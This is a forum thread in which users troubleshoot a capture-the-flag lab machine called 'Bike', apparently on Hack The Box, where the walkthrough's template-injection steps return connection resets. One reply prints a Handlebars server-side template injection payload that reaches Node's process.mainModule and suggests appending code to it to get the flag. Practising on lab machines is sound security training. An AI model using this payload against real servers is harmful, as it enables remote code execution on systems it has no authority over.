Starting Point: Bike

This box isn’t working the way it should according to the walkthrough. In burp repeater I execute:

According to the walkthrough I should get this:

I found out that it’s possible to follow this walkthrough all the way through if you use the pwnbox, but not if you’re using Kali-Linux-2022.2-virtualbox-amd64. Does anyone know why this is? What’s the vital difference?

@mercadier I am running into the exact same issue. I’m using Ubuntu 22.04 LTS. Have you found a solution or you still waiting for a solution?

I was having the same problem. I got around it by encoding the code block:

{{#with “s” as |string|}}
{{#with “e”}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub “constructor”)}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push “return process.mainModule;”}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

Then instead of copying the next code blocks, just append the additional code onto the end of mainModule. You should be able to get the flag this way.

I think machine does not work. I’ve got “The connection was reset” in pwnbox when entering magic {{7*7}}.

Hello there, I am having the exact same issue described by @SampleService

I am using a fresh install of Kali 2022.2 as guest on Vbox, but I’ve got the same issue even with a Debian as host.

I’m having something similar. When I’m entering {{7*7}}, the error page is not loading. So I don’t see the server-side error code. I only get the firefox error page that the site could not be loaded. “Firefox can’t establish a connection to the server at 10.129.196.1.”

  • I’m connected via OpenVPN.
  • Kali Linux 2022.2

Exact same issue here, please file a case to customer service like i did. I believe in case they 'll receive massive load of such queries this might speed up the process for this machine.

I’m running into exact same issue.
I send {{7*7}}, received “The connection was reset”.

The machine is now working properly, just solved without any problems!
